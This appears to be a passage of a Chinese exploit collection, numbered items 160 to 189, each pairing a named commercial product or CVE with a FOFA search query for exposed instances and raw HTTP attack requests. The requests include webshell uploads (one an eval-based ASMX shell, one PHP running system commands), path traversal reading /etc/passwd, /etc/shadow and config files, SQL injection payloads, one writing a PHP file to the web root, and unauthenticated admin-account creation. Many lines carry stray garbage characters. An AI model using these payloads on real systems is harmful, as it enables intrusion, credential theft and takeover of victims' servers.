- H$ y: s3 |3 c6 C6 b1 j, U  n& @* V<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  H. g: Z* w! M) g7 U+ b<soap:Body>
+ E. B% S2 S, Y' l$ H2 ~<jobUpload xmlns="http://rainier">
5 L- \: h5 H, j% y4 @) {4 C$ Q<vcode>1</vcode>
<subFolder></subFolder>
+ A7 d" C# e" W/ i" U' f<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>


$ t% q* P! S* z- H0 N6 d7 [3 n/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

7 S3 e9 ?% q% e. x, |5 K  p
160. Sonatype Nexus Repository 3目录遍历与文件读取
5 G4 K  }' W$ `5 _CVE-2024-4956
5 q7 H; I2 I3 y" L6 e- [8 b4 u1 bFOFA：title="Nexus Repository Manager"
& ?6 Y# e3 C- c- u1 s5 fGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
, K3 N3 j" J6 \) E

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
8 T9 B6 o# k$ Z2 M7 YFOFA：body="/KT_Css/qd_defaul.css"
# J6 u1 X! W+ g0 Z. j第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
% g" d- P# V/ V, ]5 t, i9 g" HPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
: ?! ]; M7 h- Y- |$ q" k7 @Content-Length: 445
2 F) n) [5 ?" UContent-Type: text/xml
Accept-Encoding: gzip

$ c9 T! u0 x5 i$ x$ i<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
: X) D. U- M: _+ O& S0 O; ^8 Nhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
# l& \/ p9 }# {' y! u8 r<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
% E9 ~2 K4 A  Z! b) x<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
2 h7 c- z0 o& p2 f+ n</UploadResume>
; I8 O) T$ `" a# z) ]( F  H3 p</soap:Body>
</soap:Envelope>
, h) l/ Z6 T1 T9 e4 J' t0 [/ ~
9 U: F6 H' e  C2 N9 K  l: r
: J6 |" P6 q3 ~% k: x0 ghttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
; i2 H1 i) _- Z/ ?2 WFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
' _! B- S' P# I7 q# D/ ~2 n, ^! uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
6 G1 g( L2 o3 S5 ?Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
# r. l0 o* s! O4 E3 L9 i- hAccept-Encoding: gzip
: j" @9 S9 `; _2 [0 ^4 S3 \, G: b
0 T, J) N/ h, Z" p9 d------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
" r; r- Q# r  O; n
2 a. F: Q# N+ h1 A<% response.write("ujidwqfuuqjalgkvrpqy") %>
4 w' K  Q4 P8 r* m$ f3 h! W------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
& r+ \) ?% t% E
2 Y4 n3 @& h# L5 q8 c$ I. b/ x2 bupload
2 x2 Z5 w5 q! O" G& R( O9 Z------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

7 K8 z* Z  {! vResourceNewResponder
8 k* e- L, w4 |  U- S------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
2 [) F# O" D: H$ \4 v+ f------WebKitFormBoundaryeegvclmyurlotuey--
: f. E$ C. h$ K5 ]7 E

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
/ U- x0 j* H4 l4 B1 Q+ w  O- t  O
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
8 V0 |; `+ K( vFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
1 {* o" [3 `9 Q) |, q- ^- UConnection: close
Content-Length: 293
0 z! t3 ~, H. z% h& nAccept: */*
  z0 g  {% f! K  t5 xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 W8 d8 d1 |: VContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
4 L# ~4 }* ^! X6 }9 {0 e
( X6 |; s- n+ U! J8 x------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
7 p" y: J) u" c$ b) S
1.php
6 y/ f3 w7 I9 X/ J3 b: _9 J' e------iiqvnofupvhdyrcoqyuujyetjvqgocod
* z  [5 l& h, M5 o4 bContent-Disposition: form-data; name="upfile"; filename="1.php"
$ u3 c) ]( @1 L1 j2 BContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
- l* t9 y$ \$ X# T------iiqvnofupvhdyrcoqyuujyetjvqgocod--

2 h7 E7 l! l! B" \4 [1 ^  V9 J
3 \: z8 g' [7 R5 _164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
$ H$ @/ E$ _1 _/ t3 ?. J& vFOFA: title="智慧综合管理平台登入"
4 Y1 ]3 d/ x3 }7 GPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
2 c/ T& ^* C1 r: x9 LContent-Length: 288
3 x6 ]- F3 U4 P% E/ |  v7 [; CAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
* j% Z/ V' H: O* l3 Q8 HConnection: close
; D0 z; Q2 k$ b  ?7 A  uContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

! i2 u$ I5 d; Y; O# ~" S; e------dqdaieopnozbkapjacdbdthlvtlyl
6 t: B9 x( x; t6 g, _6 J" u! O2 XContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
/ r7 S5 a* v- L/ f$ ^0 R
, i, T. p" i+ E' X) E$ e<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
6 ?, y$ }$ F3 O# B------dqdaieopnozbkapjacdbdthlvtlyl--

7 A6 r" C# T# z
& s. ^. y# l+ Q. L( x! ehttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
2 l# Q6 i+ V- Q4 K
165. OrangeHRM 3.3.3 SQL 注入
' X2 D$ e/ X+ l+ H) U8 p2 s' aCVE-2024-36428
% e" E% o' I/ |/ c2 NFOFA: app="OrangeHRM-产品"
: u1 o. A! f" }# c) M! {URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


  @) K# R4 D# Q  F/ K/ L166. 中成科信票务管理平台SeatMapHandler SQL注入
9 a: r" V- m  ?6 p( e( YFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
, |" Y6 x5 N0 y4 |( V. uPragma: no-cache
Cache-Control: no-cache
! Z, _7 f" T1 R5 D4 rUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 Z: Q9 v" c6 {7 y2 o# jAccept-Encoding: gzip, deflate
' w; p6 c2 H: a. Z* L5 U' YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
9 [: L) \3 T% H# RCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
1 R) z" i& v% s- C" m: A' XConnection: close
- @4 ^; |- t$ i& fContent-Type: application/x-www-form-urlencoded
3 d8 ?1 D2 A* {8 jContent-Length: 89
1 r! _7 V2 d3 V, }5 _- l, a
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
4 Y# P! `) x+ x7 A+ |) n
5 e% _  d+ j8 x; ^7 E' d/ n# ~
$ q1 P4 B+ X! p167. 精益价值管理系统 DownLoad.aspx任意文件读取
' h' @+ f" m/ [FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
& g! v9 i) Y8 M& u7 L' C1 o* `GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
: e* u# ?: n  f; M3 q- c$ v& @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" d. y9 B4 D: u, m: UAccept: */*
3 N- V* R3 A" ~/ }, @4 n6 pConnection: keep-alive

# z6 d. C  b6 I! I0 _1 I) P
168. 宏景EHR OutputCode 任意文件读取
0 I  b' J9 {$ Z1 aFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
9 b  Z% d8 d, g4 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
2 Y8 r) [/ I8 z/ F3 iContent-Type: application/x-www-form-urlencoded
Connection: close



: g4 }/ \, o8 V  o& b169. 宏景EHR downlawbase SQL注入
$ ^) i$ M4 ]5 b* `1 l. V: Q" JFOFA：app="HJSOFT-HCM"
" E7 A! i+ h  Z8 @9 Y; lGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
# Q8 G- O' ?: s6 b* p+ BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 D: _8 I9 {, v0 o/ b; fAccept: */*
Accept-Encoding: gzip, deflate
$ W0 _; c) N/ PConnection: close
3 A" J1 [& g. \( `) p
& m! m: S5 D6 P' t7 t- y

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
: Z" A) f4 {1 K/ x$ H& {Host: balalanengliang
( \: r5 {& E* }. h- C3 HUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
. \' I. M" i6 ~* O8 ]  R  N

171. 通天星CMSV6车载定位监控平台 SQL注入
% e$ }! U# {2 \- @' w! CFOFA：body="/808gps/"
3 n% S2 v+ e7 h9 h' \2 w% YGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
( h9 K% ^) y$ v+ ~* e% Y& S& vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
! A" N4 j+ t7 J. |Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

+ }: `/ u7 J1 u5 t- j' \+ i

( y" |7 H/ n; O0 M172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
* p/ ~  g3 U) g( ]GET /../../../../etc/passwd HTTP/1.1
3 S& _% T3 V5 Q. [* a  o( @! m- w; HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
& r' j3 b& x! ~# d% i/ ZAccept: */*
Connection: keep-alive
. w# @* H# W# r" ^3 v5 a$ U( R
7 I  {( N  F% t& W$ N! w! K, _

173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
$ M- X+ R" v) U" n! W0 o% K( oHost: your-ip
6 S2 q+ E' C! Q- E# M/ qContent-Type: application/x-www-form-urlencoded

/ |# G& i1 Z7 J/ M" P+ t, o$ s9 u7 BaCSHELL/../../../../../../../etc/shadow
1 C/ W+ s3 Z8 @; t7 p( e5 ~


174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
+ x0 Z9 Z9 f  h3 g4 THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
: d! c! S1 k' U+ O
( A  j7 r5 J7 D' w& G8 ~+ @" Q) _- {) H
' m* R7 w/ _/ g9 g
7 J- X  w8 z4 S175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
) Q1 z0 S; h: ^. ?4 i" @FOFA：app="金和网络-金和OA"
2 d1 }9 n. b* _3 EGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
  I1 }! ?  ?2 Y! I& qHost:
- s7 {2 L. T! n1 e' I. i( B8 _User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; q! m1 k, q$ yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


$ a$ q5 y( L4 L* ?+ o176. 电信网关配置管理系统 rewrite.php 文件上传
5 f  n% y- V: _/ @  F1 B- ?FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
/ u$ s: i# n) m" Q3 x
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
5 T+ ]+ I  B* f1 }1 g
3 A1 q* ^  b. E1 D. }% V# W) L. z<?php system("cat /etc/passwd");unlink(__FILE__);?>
: x0 T" J+ F; ?& h# r0 m2 ], l------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

7 g4 c3 a" U, |: I! G
& s; `! R* b2 q- P9 k------WebKitFormBoundaryOKldnDPT--

7 M& q8 @4 S0 M: A* g$ Y

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
5 }# h! N  Z! R- U* m' ?  [/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
& F+ M8 o4 z) T( ~! _/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
2 f' e- @, Z7 D4 P: [) ?. n5 g/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
- Z' z7 ?  A& D2 M) y2 G" C, Q/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
. d+ E  ]' F9 ~/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
# k8 _, E5 H" i* J) Z* S& ^/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
5 W6 Y% g9 W8 J' r% F  e+ [. g9 K/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
- K" z6 h5 A+ }3 y/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
3 a: C2 i5 l; I' Z3 I2 R, E  F4 J/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
- b- K3 s# K6 _& K( y

  i6 V7 G0 ^; w  l- E/ n3 D% e7 g178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
, R: w- E$ p' }, t0 B0 G2 ePOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
" [5 O7 b& G6 a- \/ wContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
, g3 D- @$ W1 b. R8 ^3 H-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
$ s: L  n( c. ?& X" y6 pContent-Type: application/octet-stream
Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
8 D" H: v; m  p1 @" U# q  c+ Z
' I, g3 ~7 b6 t& N: G
GET /imc/primepush/%2e%2e/flex/12234.txt


6 q4 h! @; u% E/ t% N179. 建文工程管理系统存在任意文件读取
, ~; F  H+ h- s% ?. d: ~POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
, L7 n1 ^  W* n7 _Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
) }9 w& B( L5 y8 o
# Z( j' l  w1 p& qpath=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
, X  M1 i" ~* w/ f6 W5 m. aFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
. d, U- A- s+ `* K7 M# eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 V6 Y0 x7 Q" g6 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 s: ]1 C2 B5 I: a4 o. E( oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 G) @  i7 z6 o& ~! OConnection: close
' S6 T0 }" t. U9 t' J

5 G3 q' y, q7 H9 R8 Q  T9 L181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
( Z0 q( s, \. Q4 Y4 @POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
- G# N, I& b$ O" N: H  R# _. CHost: your-ip
6 d3 |% V4 r# A- L3 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 m" o0 Q" C2 o+ m! H1 K3 ^: J$ FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
/ x4 r' z7 n0 y; m, p- Y& K( qAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 o- z' z  i2 T- mContent-Type: application/x-www-form-urlencoded

0 J0 l4 ], \5 f4 N/ z
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
. Q. q* C2 H9 x" p" d2 ~! V

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
0 T& {% A: L" o  u4 ]FOFA："PDCA/js/_publicCom.js"
( U2 y' I) p; ]9 B* y2 C8 [POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
1 H6 \/ s9 o' X9 D2 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
' C7 P5 w( q8 D- ^9 g" XConnection: close
6 P" H8 s, C+ g& AContent-Type: application/x-www-form-urlencoded
; w- R0 w) |$ N, e. |4 _% L0 s

username=test1234&pwd=test1234&savedays=1
2 A2 F7 K' |% |% B2 ~
: U0 l3 o1 b! c' U( [; O# r; Z+ q$ c/ c
! D' J+ w5 U. t, A* }: G4 u% q5 y183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
* v6 o/ y5 e$ _5 E) h! aGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
  H; R, p  z& HHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( z3 |: h$ X" uAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, ]1 {1 M# C* |6 N! F) wFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
' n0 ?, L9 \7 f* D8 XHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
" j% ^/ z# J- s* o9 F* j8 K, U( W) ZContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
* F' ^' a- h4 C

) s8 X& C6 H/ Q- L- J3 ~4 q  Jinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
9 C2 o  Q! a- U; ^
& K5 L5 m$ N; r
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
8 Q2 Y' y, m( l% bFOFA：app="REALOR-天翼应用虚拟化系统"
/ u5 h# Q6 O6 n! g: I* dGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
( H4 t4 L6 k& Q' `6 N
  C5 d8 u. S9 j; X6 G  E2 {
186. F-logic DataCube3 SQL注入
4 M, ~6 x, [8 R9 rCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
1 y/ [4 V+ Z7 L, [3 {POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
/ {, G5 G/ w" w6 ?" @Host: your-ip
* ]) P) _! j# }' T; C  \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
9 n$ v; P* m* x7 G( J5 u3 |0 ^1 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
! X! j" L/ I$ b* d0 z, O; DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


' Q* I9 g9 S- J8 L2 E187. Mura CMS processAsyncObject SQL注入
% v) a2 Q( H& v. ?, t* zCVE-2024-32640
! W* V3 B( S7 c' v/ JFOFA："Mura CMS"
0 g1 Y% J- N5 o+ y1 K. ZPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
5 G$ W  }6 |: PContent-Type: application/x-www-form-urlencoded
, {9 i) [7 t- b1 T' S) @- f7 @
* j2 W% N6 Z- r  L% h  t/ o' s( x
; W) ?8 c1 ~  Iobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

3 N1 j: n! d& E! \  E  ?
9 ~. e2 L( Z0 o; O) t' n188. 叁体-佳会视频会议 attachment 任意文件读取
9 r/ o0 O- V2 w4 Q3 ~+ fversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, m$ k2 k% y5 L* l3 ?# P$ ]* j: TAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
* i" \* V& U0 b7 s5 ^, A

$ H$ d- _! a- d/ @189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
